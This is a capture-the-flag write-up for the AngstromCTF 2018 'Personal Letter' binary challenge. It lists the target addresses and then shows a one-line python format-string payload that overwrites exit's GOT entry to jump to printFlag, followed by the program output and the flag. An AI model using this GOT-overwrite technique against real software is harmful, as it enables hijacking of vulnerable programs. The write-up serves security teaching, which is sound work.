AngstromCTF_2018: Personal Letter

Category: Binary Points: 160 Description:

Have you ever gotten tired of writing your name in the header of a letter? Well now there's a program to do it for you! Navigate to /problems/letter/ on the shell server to try your exploit out!

Write-up

This challenge was slightly tricky in that it was a ROP challenge that had to done with format strings. There will be many solutions to this challenge but essentially I chose to target the Global Offset Table (GOT). Before we can start crafting our exploit, we need to know the addresses of what we are targetting.

printFlag:  0x804872b
exit@GOT:   0x804a030

Knowing that, let's target the last two bytes of our exit GOT table. Next, we craft our exploit and try to execute it.

$ python -c 'print("\x30\xa0\x04\x08" + "\x31\xa0\x04\x08" + "%27u" + "%26$hnn" + "%91u" + "%27$hhn")' | ./personal_letter32 
Welcome to the personal letter program!
Give us your name, and we will generate a letter just for you!
Enter Name (100 Chars max): 
________________________________________
|                                      |
|                                      |
|  Dear 01                 4289382168n                                                                                         28,|
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|______________________________________|
Exiting.

Status Code: 0
Here's a flag: actf{flags_are_fun}

Therefore, the flag is actf{flags_are_fun}.

results matching ""

    No results matching ""